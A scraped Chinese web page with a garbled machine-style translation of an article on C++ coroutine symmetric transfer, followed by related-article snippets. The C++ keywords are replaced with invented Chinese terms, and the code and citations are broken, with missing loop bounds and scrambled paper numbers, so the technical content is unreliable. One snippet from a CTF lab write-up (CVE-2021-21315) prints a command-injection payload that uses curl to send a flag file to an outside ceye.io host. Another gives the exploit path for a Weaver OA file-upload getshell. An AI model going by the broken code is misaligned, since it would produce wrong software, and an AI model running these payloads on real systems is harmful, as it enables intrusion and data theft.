2308C++對稱轉移

原文

了解對稱轉移

協程組提供了個編寫異步代碼的絕妙方法,與同步代碼一樣.只需要在合適地點加上協待,編譯器就會負責掛起協程,跨掛起點保留狀態,并在操作完成后恢復協程.

但是,最初有個令人討厭的限制,如果不小心,很容易導致棧溢出.如果想避免它,則必須引入額外同步成本,以便在任務<T>類型中安全地避免它.

好的是,在2018年調整了協程的設計,以添加一個叫"對稱轉移"的功能,來允許掛起A并恢復B協程,而不消耗額外棧空間.
此功能解除了協程組的一個關鍵限制,并允許更簡單,更高效地實現異步協程類型,而不會為棧溢出付出成本.

本文,試解釋棧溢出,及"對稱轉移"如何解決它.

協程工作原理背景

請考慮以下協程:

任務 福(){協中;
}
任務 條(){協待 福();
}

假設有個當另一個協程等待它時,會懶執行主體,且不支持返回值的簡單任務類型.
分析條()計算協待 福():
1,條()協程調用福()函數.注意,從調用者角度,協程只是個普通函數.
2,調用福()執行以下幾個步驟:
1,為(一般在堆上)協程幀分配存儲
2,復制參數到協程幀中(本例中無參,因此這是無操作).
3,在協程幀中構造承諾對象
4,調用承諾.取中()以取福()的返回值.這生成返回任務對象,并使用剛剛創建的引用協程幀標::協柄來初化它.
5,在初掛起(即左大括號)處掛起協程
6,返回任務對象條().
3,接著,條()協程計算從福()返回的任務上的協待式.
1,掛起條()協程,然后在返回任務上傳遞引用條()的協程幀的標::協柄,來調用掛起協()方法.
2,然后,在福()承諾對象中,掛起協()方法存儲條()標::協柄,然后在福()標::協柄上調用.恢復()來恢復福()協程.
4,福()協程同步執行并運行到完成.
5,在終掛起(即右大括號)掛起福()協程,然后恢復,在啟動前在其承諾對象中存儲的以標::協柄標識的即.條()協程.
6,恢復并連續執行條()協程,最終到達調用從福()返回的臨時任務對象的析構器中包含協待式的語句的末尾.
7,然后,在福()的協程句柄上,任務析構器調用.消滅()方法,然后析構協程幀及承諾對象和參數的副本.
好的,簡單調用,似乎步驟太多.
為了幫助更深入理解,看看使用協程組(不支持對稱轉移)設計實現此任務類的簡單實現時會怎樣.

任務實現大概

類 任務{:類 承諾類型{/*見下*/};任務(任務&&t)無異:協程_(::交換(t.協程_,{})){}~任務(){(協程_)協程_.消滅();}類 等待器{/*見下*/};等待器 符號 協待()&&無異;:顯 任務(::協柄<承諾類型>h)無異:協程_(h){}::協柄<承諾類型>協程_;
};

任務對與調用協程時創建的協程幀關聯的標::協柄有獨占所有權.任務對象是個可確保任務對象出域時,在標::協柄上調用.消滅()資取化對象.

因此,現在擴展一下承諾類型.

實現任務::promise_type

上篇已知,承諾類型成員定義了在協程幀內創建并控制協程行為的承諾對象的類型.
首先,要實現取中()來構造調用協程時返回的任務對象.此方法只要用新創建的協程幀標::協柄初化任務.
可用標::協柄::從承諾()方法從承諾對象構建這些句柄.

類 任務::承諾類型{:任務 取中()無異{中 任務{::協柄<承諾類型>::從承諾(*)};}

接著,期望協程最初開大括號處掛起,以便等待返回的任務時,可稍后從此恢復協程.
懶啟動協程有幾個好處:
1,表明可在開始執行協程前,附加連續標::協柄.表明不必用線程同步來仲裁稍后附加連續和協程運行完成間的競爭.
2,這表明任務可無條件地析構協程幀,不必擔心是否可能在另一個線程上執行協程,因為在等待它之前不會開始執行協程,且在它執行時掛起了調用協程,因此在完成執行協程前,不會試調用任務析構器.
3,這樣,編譯器更好內聯分配協程幀到調用者幀中.見P0981R0這里來了解(哈樓)堆分配優化的更多信息.

4,它還提高了協程代碼的異常安全性.如果沒有立即協待返回的任務,并執行其他可能觸發異常的操作,從而導致棧展開和并運行任務析構器,則可安全析構協程,因為知道它尚未啟動.
5,沒有分離,懸掛引用,析構器中阻塞,終止未定義行為.我在這里關于結構化并發的CppCon2019演講中更詳細介紹的內容.

為了使協程在左大括號處初掛起,定義了個返回內置總是掛起類型的初掛起()方法.

::總是掛起 初掛起()無異{{};}

接著,需要定義執行協中時或在協程結束時調用的中空()方法.此方法可無操作,只要有它,編譯器就知道在此協程類型中協中;有效.

空 中空()無異{}

還要添加如果異常逃逸協程時則會調用的對異常()方法.這里,可按無異調用任務協程體,并在有異常時調用標::終止().

空 對異常()無異{::終止();}

最后,執行協程到達右大括號時,期望在終掛起點掛起協程,然后恢復連續,即等待此協程完成的協程.
為此,需要在承諾中的數據成員保存連續的標::協柄.還需要定義,返回在當前協程在終掛起點掛起后恢復連續可等待對象的終掛起()方法.

在掛起當前協程后,懶恢復連續非常重要,因為連續可能會立即調用,在協程幀上調用.消滅()任務析構器.
.消滅()方法僅對掛起協程有效,因此在掛起當前協程前,恢復連續是未定義行為.

編譯器在右大括號處,插入代碼來計算協待承諾.終掛起();語句.
注意,調用終掛起()方法時,尚未掛起協程.掛起協程前,需要等到調用返回的可等待掛起協()方法.

構 止等待器{極 直接協()無異{中 假;}空 掛起協(::協柄<承諾類型>h)無異{//現在在終掛起點掛起`協程`.在承諾中查找`連續`并恢復它.h.承諾().連續.恢復();}空 恢復協()無異{}};止等待器 終掛起()無異{{};}::協柄<>連續;
};

好的,這就是完整的承諾類型.最后需要實現任務::符號 協待().

實現任務::符號 協待()

在理解協待()帖子中這里,在計算協待式時,(如果定義了協待符號,)編譯器生成調用協待()符號,然后返回對象必須定義直接協(),掛起協()恢復協()方法.

協程等待任務時,期望總是掛起等待協程,然后,一旦掛起,在要恢復的協程的承諾存儲等待協程的句柄,然后在任務的標::協柄上調用.恢復()來開始執行任務.
因此,相對直接代碼:

類 任務::等待器{:極 直接協()無異{中 假;}空 掛起協(::協柄<>連續)無異{//在任務的`承諾`中存儲`連續`,以便在任務完成時,`終掛起()`知道`恢復`此協程.協程_.承諾().連續=連續;//然后恢復當前在`初掛起`(即在左大括號處)掛起的任務的協程.協程_.恢復();}空 恢復協()無異{}:顯 等待器(::協柄<任務::承諾類型>h)無異:協程_(h){}::協柄<任務::承諾類型>協程_;
};
任務::等待器 任務::符號 協待()&&無異{中 等待器{協程_};
}

從而完成任務類型必要代碼.

棧溢出問題

但是,當你在協程中開始循環,且協待可在該循環體同步完成的任務時,就會出現實現限制.
如:

任務 同步完成(){協中;
}
任務 同步循環(整 數){(整 i=0;i<;++i){協待 同步完成();}
}

上述簡單任務實現,計數為10,1000甚至100'000時,同步循環()函數(可能)正常工作.但是,可能會傳遞一個值(如100萬)時,會導致此協程崩潰.

崩潰的原因是棧溢出.

為什么會導致棧溢出?

首次開始執行同步循環()協程時,可能是因為其他協程在協待返回的任務.這會依次掛起等待協程并調用在任務的標::協柄上調用恢復()任務::等待器::掛起協().

因此,啟動同步循環()時,棧將如下:

棧   堆
+-------------+<--棧頂+------
|同步循環$恢復|活動協程循環幀|
+-------------+|+---------
|協柄::恢復||  |任務::承諾
+-------------+|-連續--.||
|任務::等待器::掛起協||+--
+-------------+|...  |v
|等待協程$恢復|+-----------
+-------------+|等待協程幀|
//`連續`指向`等待協程幀`

注意:編譯協程函數時,編譯器一般會將其拆分為兩部分:
1,處理協程幀的構造,復制參數,構造承諾和生成返回值斜坡函數",及
2,包含協程體用戶編寫的"協程體"邏輯.

$恢復后綴來表明協程的"協程體"部分.

然后,當同步循環()等待從同步完成()返回的任務時,掛起當前協程并調用任務::等待器::掛起協().

然后,掛起協()方法,在與同步完成()協程關聯的協程句柄上調用.恢復().
這恢復了同步運行完成的同步完成()協程,并在終掛起掛起.然后,它調用,與同步循環()關聯的協程句柄上調用.恢復()任務::承諾::止等待器::掛起協().

最終結果是,如果在恢復同步循環()協程后及,在分號處析構同步完成()返回的臨時任務前查看程序狀態,則棧/堆應該像這樣:

棧                    堆
+-------------棧頂
|同步循環$恢復|活動協程指向`上個頂`
+-------------+|
|協柄::恢復|.------'
+-------------+|
|止等待器::掛起協||
+-------------+|+-
|同步完成$恢復|||同步完成幀||
|協柄::恢復   ||+----------+|
|任務::等待器::掛起協|V|
+------------+<--上個棧頂+-+|
|同步循環$恢復| |同步循環幀||
+------------+|+----------------------+||
|協柄::恢復|||任務::承諾|||
+------------+||-連續--.|||
|任務::等待器::掛起協||+--|---+||
+------------+|-任務臨時指向同步完成幀
|等待協程$恢復|+-----------
+-------------+|等待協程幀|

接著是調用析構同步完成()幀的任務析構器.然后,遞增計數變量并再次循環,創建一個新的同步完成()幀并恢復它.
事情是最終同步循環()同步完成()遞歸地相互調用.每次都消耗更多的棧空間,最終,溢出棧并進入未定義行為狀態,導致程序立即崩潰.

這樣構建的協程中,非常容易編寫循環并造成無限遞歸.

協程組解決方法

好的,如何避免無限遞歸
上面實現中,使用返回掛起協()變體.在協程組中,還有個返回掛起協()版本,如果它返回,則掛起協程,執行返回到恢復()的調用者,否則,如果返回,則立即恢復協程,但這次不消耗額外棧空間.

因此,為避免無限相互遞歸,可利用掛起協()的布爾返回版本,如果同步完成任務,則通過從任務::等待器::掛起協()方法返回來恢復當前協程,而不用標::協柄::恢復()遞歸恢復協程.

為此實現通用方法,要有兩個部分.
任務::等待器::掛起協()方法中,可調用.恢復()開始執行協程.然后,調用.恢復()返回時,檢查是否已完成協程.
如果已運行完,則可返回,來表示應該立即恢復等待協程,或可返回,指示執行應該返回標::協柄::恢復()的調用者.
在運行完協程時運行的任務::承諾類型:::止等待器::掛起協()中,要檢查等待協程是否已從任務::等待器::掛起協()返回,如果是,則調用.恢復()來恢復它.
否則,需要避免恢復協程并通知任務::等待器::掛起協(),它需要返回.
但是,還有個額外問題,因為協程可在當前線程上開始執行,然后掛起,然后,在調用.恢復()之前,在不同線程上,恢復運行至完成.
因此,要解決上述第1部分和第2部分之間同時有的潛在競爭.
要用標::原子值來決定競賽的獲勝者.
現在是代碼.可如下修改:

類 任務::承諾類型{...::協柄<>連續;::原子<>準備好=;
};
極 任務::等待器::掛起協(::協柄<>連續)無異{承諾類型&承諾=協程_.承諾();承諾.連續=連續;協程_.恢復();!承諾.準備好.交換(,::內存序取釋放);
}
空 任務::承諾類型::止等待器::掛起協(::協柄<承諾類型>h)無異{承諾類型&承諾=h.承諾();(承諾.準備好.交換(,::內存序取釋放)){//未同步完成`協程`,請在此處恢復.承諾.連續.恢復();}
}

表明,c++協程::任務<T>實現這里為避免無限遞歸的方法,且運行良好.
嗚呼!問題解決了嗎?

問題所在

雖然上述方法確實解決了遞歸問題,但它有幾個缺點.
1,首先,它引入了非常昂貴的標::原子操作.掛起等待協程時,調用者上有個原子交換,運行到完成時,調用者上有另一個原子交換.
2,如果只在單線程上執行應用,則即使不必,也支付了同步線程原子操作成本.
3,其次,它引入了額外的分支.一個在調用者中,要決定是掛起還是立即恢復協程,另一個在被調中,要決定是恢復還是掛起連續.

4,注意,額外分支的成本,甚至可能是原子操作的成本,一般相比協程中的業務邏輯,相形見絀.然而,按零成本抽象宣傳協程,有人甚至使用協程來掛起函數,以避免等待L1緩存未命中,這里.

5,第三,可能也是最重要的一點,在等待協程恢復的執行環境中引入了一些不確定性.
假設有以下代碼:

c++協程::靜線程池 tp;
任務 福()
{::輸出<<"福1"<<::本線程::取標識()<<"\n";//掛起協程并重新分發到線程池線程.協待 tp.調度();::輸出<<"福2"<<::本線程::取標識()<<"\n";
}
任務 條()
{::輸出<<"條1"<<::本線程::取標識()<<"\n";協待 福();::輸出<<"條2"<<::本線程::取標識()<<"\n";
}

使用原始實現,保證在協待 福()之后運行的代碼,在完成福()的同一線程上內聯運行.
如,一個可能的輸出是:

1`1234`
福1`1234`
福2`3456`
條2`3456`

然而,隨著使用原子,完成福()可能會與掛起條()競爭,因此表明,有時協待 福()之后的代碼可能會,在條()開始執行的原始線程上運行.
如,現在可如下輸出:

1`1234`
福1`1234`
福2`3456`
條2`1234`

許多用例,該行為可能不會有影響.但是,對旨在轉換執行環境的算法,會有問題.
如,通過()算法等待一些可等待,然后在指定分發的執行環境中生成它.此算法的簡化版本如下:

<型名 可等待,型名 調度器>
任務<等待結果型<可等待>>通過(可等待 a,調度器 s)
{動 結果=協待 標::移動(a);協待 s.調度();協中 結果;
}
任務<T>取值();
空 消費(常 T&);
任務<>消費者(靜線程池::調度器 s)
{T 結果=協待 通過(取值(),s);消費(結果);
}

對原始版本,總是可保證在s線程池上調用消費().但是,對原子版本,可能會在與s調度器關聯的線程上執行消費(),或在消費()協程開始執行的線程上執行.

如何無原子操作,額外分支和非確定性恢復環境的成本的解決棧溢出?

“對稱轉移”

GorNishanov(0913)的論文P0R2018",提出"對稱協程控制轉移",來允許不消耗額外棧空間的,掛起,A協程然后對稱恢復B協程.

它提出了兩個關鍵變化:
1,允許從掛起協()返回標::協柄<T>,來指示應對稱轉移執行到由返回的句柄標識的協程.
2,添加返回特殊的標::協柄標::實驗性::無操協程()函數,它可從掛起協()返回該函數以掛起當前協程,并從調用.恢復()中返回,而不是執行轉移到另一個協程.

"對稱轉移"的意思

標::協柄上調用.恢復()來恢復協程時,執行恢復協程時,.恢復()的調用者在上仍活著.
下一次掛起此協程,且對該掛起點掛起協()調用返回(表示無條件掛起)或(指示條件掛起)時,返回調用.恢復().

這可類比協程執行的"非對稱轉移",其行為與普通的函數調用一樣..恢復()的調用者可是任一函數(也可不是協程).
掛起該協程,并從掛起協()返回時,執行調用從.恢復()返回,且每次調用.恢復()恢復協程時,都會創建新棧幀來執行該協程.

但是,使用"對稱轉移",只是掛起一個協程并恢復另一個協程.兩個協程間沒有隱式調用者/被調關系,掛起協程時,可把執行轉移到掛起的任一協程(包括自身),且在下次掛起或完成時,不必把執行轉移回上一個協程.

看看等待者使用對稱轉移時,編譯器降級協待式為什么:

{推導()=<>;推導()可等待=取可等待(承諾,靜轉<推導()&&>());推導()等待器=取等待器(靜轉<推導(可等待)&&>(可等待));(!等待器.直接協()){用 句柄型=::協柄<P>;//<掛起協程>動 h=等待器.掛起協(句柄型::從承諾(p));h.恢復();//<返回到調用者或恢復者>//<恢復點>}中 等待器.恢復協();
}

放大與其他協待形式不同的關鍵部分:

動 h=等待器.掛起協(句柄型::從承諾(p));
h.恢復();
//<返回調用者或恢復者>

一旦降級協程狀態機,<返回到調用者或恢復者>部分基本上變成了返回;語句,導致調用上次恢復協程來返回到其調用者的.恢復().
表明從當前函數自身是標::協柄::恢復()的調用體,有個調用與標::協柄::恢復()有相同簽名函數的另一個函數,然后是返回;.

一些編譯器在啟用優化時,可優化,只要滿足某些條件,就可把調用轉換為尾調用.
碰巧,該尾調用優化正可避免之前遇見的棧溢出問題.但是,要保證轉換尾調用.

尾調用

尾調用是指在調用結束前彈出當前棧幀,且當前函數的返回地址成為被調返回地址.即.被調直接返回此函數調用者.
X86/X64架構上,一般表明編譯器生成首先彈出當前棧幀,然后使用指令而不是調用指令跳轉被調函數入口,然后在調用返回后彈出當前棧幀的代碼.

但是,該優化一般有限.即,它要求:
1,調用約定支持尾調用,且對調用者和被調相同;
2,返回類型相同;
3,在調用后到返回調用者前,不需要運行非平凡析構器;及
4,調用不在試/抓塊內.
協待對稱轉移形式是專門協程滿足所有這些要求而設計的.
1,調用約定,當編譯器降級協程為機器代碼時,它將協程分為兩部分:斜坡(分配和初化協程幀)和主體(包含用戶編寫的協程體的狀態機).
協程的函數簽名(及用戶指定的調用約定)僅影響斜坡,而主體受編譯器控制,且用戶代碼永遠不會直接調用它,僅由斜坡函數和標::協柄:::恢復()調用.

協程主體調用約定不是用戶可見的,完全依賴編譯器,因此可選擇支持尾調用并由所有協程體使用的適當調用約定.

2,返回類型相同,源和目標協程的.恢復()方法的返回類型都是,因此可輕松滿足此要求.
3,沒有非平凡析構器,尾調用時,要可在調用目標函數前釋放當前棧幀,這要求所有棧分配對象生命期調用前結束.
一般,只要內有非平凡析構器的對象,就有問題,因為這些對象的生命期尚未結束,且在棧上分配這些對象.
但是,掛起協程時,它會在不退出域時就這樣,它是,在協程幀中而不是在棧中保存生命期跨掛起點的對象.
可在棧上分配生命期不跨掛起點局部變量,但這些對象生命期已結束,且在下一次掛起協程調用它們的析構器.
因此,對要在尾調用返回后運行的棧分配對象,不應有非平凡析構器.
4,調用不在試/抓塊內,這有點麻煩,因為在每個協程中都有個隱式的包含用戶編寫協程體的試/抓塊.
從規范中,看到協程定義:

{承諾類型 承諾;協待 承諾.初掛起();{F;}(...){承諾.對異常();}
終掛起:協待 承諾.終掛起();
}

其中F是協程體用戶部分.

因此,每個用戶編寫的協待式(初掛起/終掛起式除外)都在試/抓塊的環境中.
但是,實現通過在塊環境外實際調用.恢復()來解決.

因此,執行對稱轉移的協程,一般滿足可執行尾調用的所有要求.無論是否啟用優化,編譯器保證總是一個尾調用.
這表明用掛起協()標::協柄的返回風格,可掛起當前協程,并在不會消耗額外棧空間時,就把執行轉移到另一個協程.
這樣允許編寫相互遞歸恢復彼此到任意深度,而不必擔心棧溢出的協程.

重新審視任務

因此,借助新"對稱轉移"功能,修復任務類型實現.
為此,要在實現中更改兩個掛起協()方法:
1,首先,等待任務時,執行對稱轉移來恢復任務的協程.
2,其次,任務的協程完成時,執行對稱轉移以恢復等待協程.
為了解決等待方向,需要在此更改任務::等待器方法:

空 任務::等待器::掛起協(::協柄<>連續)無異{//在任務的承諾中`存儲`連續,以便在任務完成時,`終掛起()`知道恢復此協程.協程_.承諾().連續=連續;//然后恢復當前在初掛起(即在左大括號處)掛起的`任務協程`.協程_.恢復();
}

轉為:

::協柄<>任務::等待器::掛起協(::協柄<>連續)無異{//在任務的承諾中`存儲`連續,以便在任務完成時,`終掛起()`知道恢復此協程.協程_.承諾().連續=連續;//然后,從`掛起協()`返回其句柄,來`尾恢復`當前在初掛起(即在打開的大括號處)掛起的`任務協程`.中 協程_;
}

為了解決返回路徑,需要從下面更新任務::承諾類型::止等待器方法:

空 任務::承諾類型::止等待器::掛起協(::協柄<承諾類型>h)無異{//現在在終掛起點掛起`協程`.在承諾中查找其`連續`并恢復它.h.承諾().連續.恢復();
}

為:

::協柄<>任務::承諾類型::止等待器::掛起協(::協柄<承諾類型>h)無異{//現在在終掛起點掛起`協程`.在承諾中查找其`連續`并`對稱`恢復它.中 h.承諾().連續;
}

現在有個既沒有返回掛起協風味所有的棧溢出問題,也沒有布爾返回掛起協風味的不確定性恢復環境問題的任務實現.

可視化棧

現在再看看原始示例:

任務 同步完成(){協中;
}
任務 同步循環(整 數){(整 i=0;i<;++i){協待 同步完成();}
}

首次開始執行同步循環()協程時,這是因為其他某個協程協待返回的任務.調用標::協柄::恢復()來恢復的其他協程,會對稱轉移來啟動它.
因此,啟動同步循環()時,棧將如下:

棧 堆
+-------------+<--棧頂+-- |
|同步循環$恢復|活動協程->|同步循環幀|
+-------------+|+--------+|
|協柄::恢復|||任務::承諾||
+-------------+||-連續指向下面的等待協程幀||等待協程幀|

現在,執行協待 同步完成()時,它會對稱轉移同步完成協程.
它如下完成:
1,調用返回任務::等待器對象的任務::符號 協待()
2,然后掛起并調用返回同步完成協程的協柄任務::等待器::掛起協().
3,然后尾調用/跳轉同步完成協程.這在激活同步完成幀前,彈出同步循環幀.
如果現在在恢復同步完成后查看棧,將是如下:

棧 堆.->+-------+<-.||同步完成||||||||+--------+|||||任務::承諾||||||-連續--.|||||+--------+|||-,+-------+||V|
+---------------+<--棧頂|++ |
|同步完成$恢復|||同步循環幀||
+---------------+活動協程---|++||
|協柄::恢復|||任務::承諾|||
+---------------+||-連續--.|||
|...||+----------|---+||
+---------------+|任務臨時||||-協程_-----|---------|+--------------------------+|等待協程 幀|+--------------------------+

注意,此處棧幀數沒有增加.
同步完成協程完成且執行到達右大括號后,它計算協待 承諾.終掛起().
這會掛起協程,并調用返回連續標::協柄(即指向同步循環協程的句柄)的止等待器::掛起協().
然后,執行對稱轉移/尾調用以恢復同步循環協程.
如果在恢復同步循環后查看棧,將如下:

棧 堆+--------------+<-.|同步完成||||||+----------+||||任務::承諾|||||-連續--.||||+------------------|---+||V|
+----------------+<--棧頂 
|同步循環$恢復|活動 協程->|同步循環 幀||
|協柄::恢復()|||任務::承諾|||
+--------------+||-連續--.|||
|...||+--------+||
+--------------+|任務 臨時||||-協程_-----|---------||等待協程 幀|

恢復同步循環協程后,先是在到達分號時執行調用從同步完成調用返回的臨時任務析構器.它析構協程幀,釋放其內存,剩下:

棧 堆
+-----------+<--棧頂+--+
|同步循環$恢復|活動協程->|同步循環幀|
|協柄::恢復|||任務::承諾||
+-----------------+||-連續--.|||等待協程幀|

現在又回到了執行同步循環協程,現在擁有與開始時相同數量的棧幀和協程幀,且每次循環時都會這樣做.
因此,可按需任意次迭代循環,且只會使用固定大小存儲空間.

對稱轉移為掛起協的通用形式

對稱轉移理論上可取代掛起協()空和布爾返回形式.
但先看看添加到協程設計中的P0913R0提案這里的另一部分:標::無操協程().

終止遞歸

使用對稱轉移協程,每次掛起協程時,都會對稱地恢復另一個協程.只要有另一個要恢復的協程,這很好,但有時沒有要執行的另一個協程,只需要掛起并讓執行返回至標::協柄::恢復()的調用者.

掛起協()返回和布爾返回風格都允許掛起協程并從標::協柄::恢復()返回,但如何對對稱轉移這樣?

答案是使用特殊的由標::無操協程()函數生成的叫"無操協程句柄"的內置標::協柄.
"無操協程句柄"命名,是因為它的.恢復()實現僅使它立即返回.即是無操作恢復協程.一般,它的實現包含單個指令.

如果掛起協()方法返回標::無操協程()句柄,則它不會把執行轉移到下個協程,而是把執行傳輸回標::協柄::恢復()的調用者.

表示await_suspend()的其他風格

有了這些信息,現在可展示如何使用對稱轉移形式來表示掛起協()的其他風格.
空返回:

空 我等待器::掛起協(::協柄<>h){->協程=h;入列();
}

也可用布爾返回形式如下編寫:

極 我等待器::掛起協(::協柄<>h){->協程=h;入列();中 真;
}

也可用對稱轉移形式編寫:

::無操協程句柄 我等待器::掛起協(::協柄<>h){->協程=h;入列();中 標::無操協程();
}

布爾返回形式:

極 我等待器::掛起協(::協柄<>h){->協程=h;(試開始()){//異步完成操作.返回`真`以把執行`轉移`到`協柄::恢復()`的調用者.中 真;}//同步完成`操作`.返回`假`可立即恢復當前協程.中 假;
}

也可用對稱轉移形式編寫:

::協柄<>我等待器::掛起協(::協柄<>h){->協程=h;(試開始()){//異步完成操作.返回`標::無操協程()`以把`執行`轉移到`協柄::恢復()`的調用者.中 標::無操協程();}//操作同步完成.返回`當前協程`句柄以`立即恢復`當前協程.中 h;
}

為什么要有三個風格?

擁有對稱轉移風格時,為什么仍有掛起協()空和布爾返回風格呢?

原因部分是歷史的,部分是務實的,部分是性能的.
返回版本可通過從掛起協()返回標::無操協程句柄類型來完全替換,因為這是編譯器表明協程無條件地把執行轉移標::協柄::恢復()的調用者的等效信號.

部分是在引入對稱轉移前已使用它,部分原因是形式導致無條件掛起時,代碼/鍵入更少.
然而,與對稱轉移形式相比,布爾返回版本有時在可優化性方面可能會略有優勢.

考慮在另一個翻譯單元中定義的布爾返回掛起協()方法.此時,編譯器可在掛起當前協程的等待協程中生成代碼,然后調用掛起協()返回后通過執行下一段代碼有條件地恢復它.
如果掛起協()返回,它確切地知道要執行的代碼段.
對稱轉移風格,仍需要或返回到調用者/恢復恢復當前協程,來表示相同結果.或需要返回標::無操協程()當前協程句柄,而不是返回.
可強制轉換這兩個句柄為標::協柄<空>類型并返回它.
但是,現在,因為掛起協()方法是在另一個翻譯單元中定義的,編譯器無法看到返回句柄引用的協程,因此恢復協程時,它現在必須執行一些更昂貴的間接調用,且可能執行一些分支來恢復協程,再對比布爾返回的單個分支.

未來可能可內聯定義掛起協(),但調用遠方定義的布爾返回方法,然后有條件地返回適當的句柄.
如:

構 我等待器{極 直接協();//理論上,編譯器應該可按與`布爾`返回版本相同的優化,但目前沒有.::協柄<>掛起協(::協柄<>h){(試開始(h)){中 標::無操協程();}{中 h;}}空 恢復協();://此方法在遠方單獨的翻譯單元中定義.極 試開始(::協柄<>h);
}

因此,目前而言,一般規則是:
1,如果需要無條件返回.恢復()調用者,請使用返回風格.
2,如果需要有條件返回到.恢復()調用者或恢復當前協程,請使用布爾返回風格.
3,如果需要恢復另一個協程,請使用對稱轉移風格.

添加到C++20的協程中的新對稱轉移功能使得不必擔心棧溢出的,編寫遞歸相互恢復協程更加容易.此功能是創建高效且安全的異步協程類型(如任務)的關鍵.

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/39035.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/39035.shtml
英文地址,請注明出處:http://en.pswp.cn/news/39035.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Unity Spine幀事件

SpinePro中添加事件幀 首先 選中右上角的層級樹 然后選擇事件選項 最后在右下角看到 新建 點擊它 新建一個事件 點擊左上角的設置按鈕 彈出編輯窗口 編輯窗口 在右上角 動畫欄 可以切換對應的動畫 點坐邊的那個小灰點來切換 亮點代表當前動畫 選中幀 添加事件 點擊對應事件…

突破防線!泛微OA任意文件上傳Getshell

子曰&#xff1a;“巧言令色&#xff0c;鮮矣仁。” 漏洞復現 訪問漏洞url&#xff1a; 存在漏洞的路徑為 /weaver/weaver.common.Ctrl/.css?arg0com.cloudstore.api.service.Service_CheckApp&arg1validateApp漏洞利用&#xff1a; 漏洞證明&#xff1a; 文筆生疏&…

ubuntu 20.0.4 搭建nvidia 顯卡環境

一、安裝docker 1、安裝dokcer sudo apt install docker.io2、docker 添加到用戶組 創建docker用戶組 sudo groupadd docker添加當前用戶加入docker用戶組 sudo usermod -aG docker ${USER}重啟docker服務 sudo systemctl restart docker切換或者退出當前賬戶再從新登入 …

openGauss學習筆記-41 openGauss 高級數據管理-匿名塊

文章目錄 openGauss學習筆記-41 openGauss 高級數據管理-匿名塊41.1 語法41.2 參數說明41.3 示例 openGauss學習筆記-41 openGauss 高級數據管理-匿名塊 匿名塊&#xff08;Anonymous Block&#xff09;是存儲過程的字塊之一&#xff0c;沒有名稱。一般用于不頻繁執行的腳本或…

NPM與外部服務的集成(下)

目錄 1、撤消訪問令牌 2、在CI/CD工作流中使用私有包 2.1 創建新的訪問令牌 持續整合 持續部署 交互式工作流 CIDR白名單 2.2 將令牌設置為CI/CD服務器上的環境變量 2.3 創建并簽入特定于項目的.npmrc文件 2.4 令牌安全 3、Docker和私有模塊 3.1 背景&#xff1a;運…

了解異或的好處和用途

1.什么是異或&#xff1f; 異或&#xff1a;對于二進制&#xff0c;相同為0 不同為11 ⊕ 1 00 ⊕ 0 01 ⊕ 0 10 ⊕ 1 1 2.異或的好處&#xff1f; 異或的好處&#xff1f;1.快速比較兩個值 2.xor a a例如 a 3 011xor 0110003.可以使用 異或 來使某些特定的位翻轉【原因…

移遠RM500U-CN模塊直連嵌入式ubuntu實現撥號上網

目錄 1 平臺&#xff1a; 2 需要準備的資料 3 參考文檔 4 編譯環境與驅動移植 4.1 內核驅動添加廠家ID和產品ID 4. 2.添加零包處理 4.3 增加復位恢復機制 4.4 增加批量輸出 批量輸出 URB 的數量和容量 的數量和容量 4.5 內核配置與編譯 5 QM500U-CN撥號&#xff08;在開…

Ubuntu和centos版本有哪些區別

Ubuntu和CentOS是兩個非常流行的Linux發行版&#xff0c;它們在一些方面有一些區別&#xff0c;如下所示&#xff1a; CentOS的版本發布周期相對較長&#xff0c;主要是因為它是基于RedHatEnterpriseLinux(RHEL)的。這意味著在RHEL發布后才能推出對應的CentOS版本。而Ubuntu則在…

春秋云鏡 CVE-2021-21315

春秋云鏡 CVE-2021-21315 systeminformation存在命令注入 靶標介紹 systeminformation是一個簡單的查詢系統和OS信息包。 啟動場景 漏洞利用 exp /api/osinfo?param[]$(curl%20-d%20/flag%20xxx.ceye.io)登錄ceye.io平臺&#xff0c;curl請求 http://eci-2zed871sr7xrdjb…

Lombok的使用及注解含義

文章目錄 一、簡介二、如何使用2.1、在IDEA中安裝Lombok插件2.2、添加maven依賴 三、常用注解3.1、Getter / Setter3.2、ToString3.3、NoArgsConstructor / AllArgsConstructor3.4、EqualsAndHashCode3.5、Data3.6、Value3.7、Accessors3.7.1、Accessors(chain true)3.7.2、Ac…

JavaScript 中常用簡寫技巧總結

平時我們寫代碼時最高級的境界是自己寫的東西別人看不懂&#xff01;哈哈哈&#xff01;分享一些自己常用的js簡寫技巧&#xff0c;長期更新&#xff0c;會著重挑選一些實用的簡寫技巧&#xff0c;使自己的代碼更簡潔優雅~ 這里只會收集一些大多數人不知道的用法&#xff0c;但…

MySQL新的版本發布模型 - 創新版本和長支持版本

2023年7月18日&#xff0c;MySQL發布了最新數據庫服務器版本8.1.0&#xff0c;其中變化最大的是MySQL采用了新的版本發布模型。本文是官方博客的中文摘抄和個人理解&#xff0c;原文更精彩: https://blogs.oracle.com/mysql/post/introducing-mysql-innovation-and-longterm-su…

網絡原理(JavaEE初階系列11)

目錄 前言&#xff1a; 1.網絡原理的理解 2.應用層 2.1自定義協議的約定 2.1.1確定要傳輸的信息 2.1.2確定數據的格式 3.傳輸層 3.1UDP 3.1.1UDP報文格式 3.2TCP 3.2.1確認應答 3.2.2超時重傳 3.2.3連接管理 3.2.3.1三次握手 3.2.3.2四次揮手 3.2.4滑動窗口 3.…

bigemap如何添加mapbox地圖?

第一步 打開瀏覽器&#xff0c;找到你要訪問的地圖的URL地址&#xff0c;并且確認可以正常在瀏覽器中訪問&#xff1b;瀏覽器中不能訪問&#xff0c;同樣也不能在軟件中訪問。 以下為常用地圖源地址&#xff1a; 天地圖&#xff1a; http://map.tianditu.gov.cn 包含&…

【SA8295P 源碼分析】75 - QNX GVM Secpol 安全策略文件 gvm_la.txt 內容分析解讀

【SA8295P 源碼分析】75 - QNX GVM Secpol 安全策略文件 gvm_la.txt 內容分析解讀 第一部分、gvm_la_t secpol 類型定義第二部分、gvm_la_t 內存透傳相關配置第三部分、gvm_la_t 中斷透傳相關配置第四部分、gvm_la_t 類型的進程允許通信的所有 secpol 類型系列文章匯總見:《【…

字符串的綜合練習

